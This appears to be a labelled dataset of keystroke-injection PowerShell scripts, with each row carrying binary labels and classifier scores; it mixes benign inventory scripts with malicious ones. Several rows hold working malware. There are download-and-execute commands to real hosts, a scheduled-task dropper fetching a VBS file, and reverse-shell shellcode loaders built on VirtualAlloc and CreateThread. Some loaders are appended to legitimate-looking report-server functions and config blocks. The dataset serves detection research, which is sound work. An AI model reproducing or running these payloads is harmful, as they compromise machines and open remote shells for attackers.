"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_lrmpgchr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process -Name ""Teams"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_50.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.4897996e-05
"win+r powershell enter ((new-object net.webclient).DownloadFile('http://auf87.maxipic.ch/rucymi/rybidy/ enter facuwy.php','1asdasd.exe'));Start-Process '1asdasd.exe'; enter enter",1,1,5.870586e-05,0.99994135
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_0spj4nmj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_automatic.csv"") -NoTypeInformation enter",0,0,0.9999659,3.413493e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_kkcy6u52"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.404942e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM TITLE The Penny Drops enter REM AUTHOR Cribbit enter REM DESCRIPTION Little arcade coin drop / pachinko style game enter REM VERSION 1.0 enter REM PROPS Darren & Korben enter EXTENSION TRANSLATE enter REM VERSION 1.0 enter REM This extension acts as a library or collection of helper functions enter REM to work with converting variables in your payloads. enter REM WHY: enter REM Of the many ways to get information about the state of your payload enter REM is by injecting static strings effectively as debugging prints enter REM However, given the non-static nature of payloads using variables in enter REM DuckyScript 3.0 - the ability to decode variables during payload enter REM execution and print (inject) representations of their current state enter REM can often be a critically helpful development and debugging tool. enter REM Available Functions: enter REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call enter REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call enter REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call enter REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call enter REM USAGE: enter REM set $INPUT to desired var enter REM call the correct translate_ function for the expected data type e.g. enter REM VAR $myVar = 1234 enter REM $INPUT = $myVar enter REM TRANSLATE_INT() enter REM REM the above code will inject 1234 enter REM begin extension variables enter DEFINE PRINT_INT 0 enter DEFINE PRINT_HEX 1 enter VAR $DIGIT_PRINT_MODE = PRINT_INT enter VAR $D = 0 enter VAR $IN = 0 enter VAR $INPUT = 0 enter VAR $MOD = 0 enter VAR $P = FALSE enter VAR $NL = TRUE enter REM end extension variables enter REM REQUIRED for INT/HEX - convert int to char enter DUCKY_REAL_END enter",1,1,5.8468417e-05,0.9999416
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_9585upu3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3878085e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_8f5w8xju"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_150.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4069268e-05
unknown_key_action DEFINE #PHONE-APP-NAME example enter unknown_key_action DEFINE #NUMBER example enter unknown_key_action GUI SPACE enter delay_short enter #PHONE-APP-NAME enter enter enter delay_medium enter backspace enter #NUMBER enter delay_medium enter enter,1,1,5.6423956e-05,0.9999436
"win+r enter powershell enter enter enter function Set-RsDataSourceReference enter { enter enter [CmdletBinding()] enter param ( enter [Alias('ItemPath')] enter [Parameter(Mandatory = $true, ValueFromPipeline = $true)] enter [string[]] enter $Path, enter enter [Parameter(Mandatory = $true)] enter [string] enter $DataSourceName, enter enter [Parameter(Mandatory = $true)] enter [string] enter $DataSourcePath, enter enter [string] enter $ReportServerUri, enter enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter enter $Proxy enter ) enter enter Begin enter { enter $Proxy = New-RsWebServiceProxyHelper -BoundParameters $PSBoundParameters enter } enter enter Process enter { enter foreach ($item in $Path) enter { enter enter $dataSets = $null enter $dataSourceReference = $null enter enter try enter { enter $dataSets = $Proxy.GetItemReferences($item, ""DataSource"") enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to retrieve datasource item references for '$item': $($_.Exception.Message)"", $_.Exception)) enter } enter $dataSourceReference = $dataSets | Where-Object { $_.Name -eq $DataSourceName } | Select-Object -First 1 enter enter if (-not $dataSourceReference) enter { enter throw ""$item does not contain a dataSource reference with name $DataSourceName"" enter } enter enter $proxyNamespace = $dataSourceReference.GetType().Namespace enter $dataSourceReference = New-Object ""$($proxyNamespace).ItemReference"" enter $dataSourceReference.Name = $DataSourceName enter $dataSourceReference.Reference = $DataSourcePath enter enter Write-Verbose ""Set dataSource reference '$DataSourceName' of item $item to $DataSourcePath"" enter try enter { enter $Proxy.SetItemReferences($item, @($dataSourceReference)) enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to update datasource item references for '$item': $($_.Exception.Message)"", $_.Exception)) enter } enter } enter } enter } enter enter New-Alias -Name ""Set-RsSharedDataSource"" -Value Set-RsDataSourceReference -Scope Global enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0xe6,0x21,0xe4,0x32,0xda,0xcc,0xd9,0x74,0x24,0xf4,0x5f,0x2b,0xc9,0xb1,0x47,0x83,0xc7,0x04,0x31,0x6f,0x0f,0x03,0x6f,0xe9,0xc3,0x11,0xce,0x1d,0x81,0xda,0x2f,0xdd,0xe6,0x53,0xca,0xec,0x26,0x07,0x9e,0x5e,0x97,0x43,0xf2,0x52,0x5c,0x01,0xe7,0xe1,0x10,0x8e,0x08,0x42,0x9e,0xe8,0x27,0x53,0xb3,0xc9,0x26,0xd7,0xce,0x1d,0x89,0xe6,0x00,0x50,0xc8,0x2f,0x7c,0x99,0x98,0xf8,0x0a,0x0c,0x0d,0x8d,0x47,0x8d,0xa6,0xdd,0x46,0x95,0x5b,0x95,0x69,0xb4,0xcd,0xae,0x33,0x16,0xef,0x63,0x48,0x1f,0xf7,0x60,0x75,0xe9,0x8c,0x52,0x01,0xe8,0x44,0xab,0xea,0x47,0xa9,0x04,0x19,0x99,0xed,0xa2,0xc2,0xec,0x07,0xd1,0x7f,0xf7,0xd3,0xa8,0x5b,0x72,0xc0,0x0a,0x2f,0x24,0x2c,0xab,0xfc,0xb3,0xa7,0xa7,0x49,0xb7,0xe0,0xab,0x4c,0x14,0x9b,0xd7,0xc5,0x9b,0x4c,0x5e,0x9d,0xbf,0x48,0x3b,0x45,0xa1,0xc9,0xe1,0x28,0xde,0x0a,0x4a,0x94,0x7a,0x40,0x66,0xc1,0xf6,0x0b,0xee,0x26,0x3b,0xb4,0xee,0x20,0x4c,0xc7,0xdc,0xef,0xe6,0x4f,0x6c,0x67,0x21,0x97,0x93,0x52,0x95,0x07,0x6a,0x5d,0xe6,0x0e,0xa8,0x09,0xb6,0x38,0x19,0x32,0x5d,0xb9,0xa6,0xe7,0xc8,0xbc,0x30,0x25,0x2d,0x52,0x12,0x5d,0x2f,0xac,0x93,0x25,0xa6,0x4a,0xc3,0x09,0xe9,0xc2,0xa3,0xf9,0x49,0xb3,0x4b,0x10,0x46,0xec,0x6b,0x1b,0x8c,0x85,0x01,0xf4,0x79,0xfd,0xbd,0x6d,0x20,0x75,0x5c,0x71,0xfe,0xf3,0x5e,0xf9,0x0d,0x03,0x10,0x0a,0x7b,0x17,0xc4,0xfa,0x36,0x45,0x42,0x04,0xed,0xe0,0x6a,0x90,0x0a,0xa3,0x3d,0x0c,0x11,0x92,0x09,0x93,0xea,0xf1,0x02,0x1a,0x7f,0xba,0x7c,0x63,0x6f,0x3a,0x7c,0x35,0xe5,0x3a,0x14,0xe1,0x5d,0x69,0x01,0xee,0x4b,0x1d,0x9a,0x7b,0x74,0x74,0x4f,0x2b,0x1c,0x7a,0xb6,0x1b,0x83,0x85,0x9d,0x9d,0xff,0x53,0xdb,0xeb,0x11,0x60;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.173187e-05,0.99994826
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_i8hi7mg6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 25 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.438064e-05
"win+r enter powershell enter enter enter function Out-RsRestCatalogItem enter { enter [CmdletBinding()] enter param ( enter [Alias('RsFolder')] enter [Parameter(Mandatory = $True, ValueFromPipeline = $true)] enter [string[]] enter $RsItem, enter enter [ValidateScript({ Test-Path $_ -PathType Container})] enter [Parameter(Mandatory = $True)] enter [string] enter $Destination, enter enter [switch] enter $Overwrite, enter enter [string] enter $ReportPortalUri, enter enter [Alias('ApiVersion')] enter [ValidateSet(""v1.0"", ""v2.0"")] enter [string] enter $RestApiVersion = ""v2.0"", enter enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter enter [Microsoft.PowerShell.Commands.WebRequestSession] enter $WebSession enter ) enter enter Begin enter { enter $WebSession = New-RsRestSessionHelper -BoundParameters $PSBoundParameters enter $ReportPortalUri = Get-RsPortalUriHelper -WebSession $WebSession enter if ($RestApiVersion -eq 'v1.0') enter { enter $catalogItemsByPathApi = $ReportPortalUri + ""api/$RestApiVersion/CatalogItemByPath(path=@path)?@path=%27{0}%27"" enter } enter else enter { enter $catalogItemsByPathApi = $ReportPortalUri + ""api/$RestApiVersion/CatalogItems(Path='{0}')?`$expand=properties"" enter } enter } enter Process enter { enter foreach ($item in $RsItem) enter { enter try enter { enter Write-Verbose ""Fetching metadata for $item from server..."" enter $url = [string]::Format($catalogItemsByPathApi, $item) enter if ($Credential -ne $null) enter { enter $response = Invoke-WebRequest -Uri $url -Method Get -Credential $Credential -Verbose:$false enter } enter else enter { enter $response = Invoke-WebRequest -Uri $url -Method Get -UseDefaultCredentials -Verbose:$false enter } enter } enter catch enter { enter throw (New-Object System.Exception(""Error while trying to fetch metadata for $item! Exception: $($_.Exception.Message)"", $_.Exception)) enter } enter enter Write-Verbose ""Parsing metadata for $item..."" enter $itemInfo = ConvertFrom-Json $response.Content enter enter Out-RsRestCatalogItemId -RsItemInfo $itemInfo -Destination $Destination -RestApiVersion $RestApiVersion -ReportPortalUri $ReportPortalUri -Credential $Credential -WebSession $WebSession -Overwrite:$Overwrite enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x02,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1473617e-05,0.9999485
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_izcy54hg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4323697e-05
"win+r enter powershell enter enter enter function Remove-CSslCertificateBinding enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [IPAddress] enter enter $IPAddress = '0.0.0.0', enter enter [UInt16] enter enter $Port = 443 enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( -not (Test-CSslCertificateBinding -IPAddress $IPAddress -Port $Port) ) enter { enter return enter } enter enter if( $IPAddress.AddressFamily -eq [Net.Sockets.AddressFamily]::InterNetworkV6 ) enter { enter $ipPort = '[{0}]:{1}' -f $IPAddress,$Port enter } enter else enter { enter $ipPort = '{0}:{1}' -f $IPAddress,$Port enter } enter enter Invoke-ConsoleCommand -Target $ipPort ` enter -Action ""removing SSL certificate binding"" ` enter -ScriptBlock { netsh http delete sslcert ipPort=$ipPort } enter } enter enter",0,0,0.9997063,0.00029363277
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_qu17tjvn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 20 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_20.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.427581e-05
"win+r enter powershell enter enter enter @{ enter ShowModuleLoadDetails = $false enter enter CD_GetChildItem = $false enter CD_EchoNewLocation = $false enter TextEditor = 'Notepad.exe' enter PromptTheme = 'Modern' enter PageHelpUsingLess = $true enter SmtpFrom = $null enter SmtpHost = $null enter SmtpPort = $null enter enter FileSizeInUnits = $false enter ModulesToImport = @{ enter CD = $true enter DirectoryServices = $false enter FileSystem = $false enter GetHelp = $false enter Net = $false enter Prompt = $false enter TranscribeSession = $false enter Utility = $true enter Vhd = $false enter Wmi = $false enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x05,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1500378e-05,0.9999485
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_fpa04dfo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_15.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.408818e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_1t1kpmmf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4627552e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_v9e9fj11"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.477378e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_1z0bwur3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4862736e-05
"win+r powershell enter try{ $zxeejzbb = $env:PUBLIC + ""\Libraries"" if (-not (Test-Path $zxeejzbb)) { enter md $zxeejzbb; } $aswivcbf = $zxeejzbb + ""\WindowsIndexingService.vbs""; $hiydyj enter tw = New-Object System.Net.WebClient; $hiydyjtw.Credentials = [System.Net.Crede enter ntialCache]::DefaultCredentials; $hiydyjtw.DownloadString(""http://z2uymda2mjc. enter top/?need=ma7dd05&"") | out-file $aswivcbf; schtasks.exe /create /TN ""WindowsApp enter licationService"" /sc DAILY /st 00:00 /f /RI 1 /du 23:59 /TR $aswivcbf; }catch{} enter function vyfbdwiutw( $atzzjdy ){ $uuvtaygsv = New-Object System.Net.WebClient; enter $uuvtaygsv.Credentials = [System.Net.CredentialCache]::DefaultCredentials; enter enter",1,1,5.810496e-05,0.99994195
"win+r powershell enter  function Test-NetworkUsage { $rgname = Get-ResourceGroupName $vnetName = enter Get-ResourceName $subnetName = Get-ResourceName $rglocation = Get-ProviderLoca enter tion ResourceManagement $resourceTypeParent = ""Microsoft.Network/Usages"" $loca enter tion = Get-ProviderLocation $resourceTypeParent ""West US"" -UseCanonical $true enter enter",1,1,0.0003562898,0.9996437
"win+r powershell enter $global:ps_test_tag_name = 'crptestps6050' function get_vm_config_object { par enter am ([string] $rgname, [string] $vmsize) $st = Write-Verbose ""Creating VM Conf enter ig Object - Start""; $vmname = $rgname + 'vm'; $p = New-AzVMConfig -VMName $vm enter name -VMSize $vmsize; $st = Write-Verbose ""Creating VM Config Object - End""; enter enter",1,1,0.0002456696,0.99975437
"win+r enter powershell enter enter enter  enter param([hashtable]$Theme) enter enter Set-StrictMode -Version Latest enter $Theme.HostBackgroundColor = if ($Pscx:IsAdmin) { 'DarkRed' } else { 'Black' } enter $Theme.HostForegroundColor = if ($Pscx:IsAdmin) { 'White' } else { 'Gray' } enter $Theme.PromptForegroundColor = if ($Pscx:IsAdmin) { 'Yellow' } else { 'White' } enter $Theme.PrivateData.ErrorForegroundColor = if ($Pscx:IsAdmin) { 'DarkCyan' } enter $Theme.PromptScriptBlock = { enter param($Id) enter enter if($NestedPromptLevel) enter { enter new-object string ([char]0xB7), $NestedPromptLevel enter } enter enter ""[$Id] $([char]0xBB)"" enter } enter $Theme.UpdateWindowTitleScriptBlock = { enter (Get-Location) enter '-' enter 'Windows PowerShell' enter enter if($Pscx:IsAdmin) enter { enter '(Administrator)' enter } enter enter if ($Pscx:IsWow64Process) enter { enter '(x86)' enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.037775e-05,0.99993956
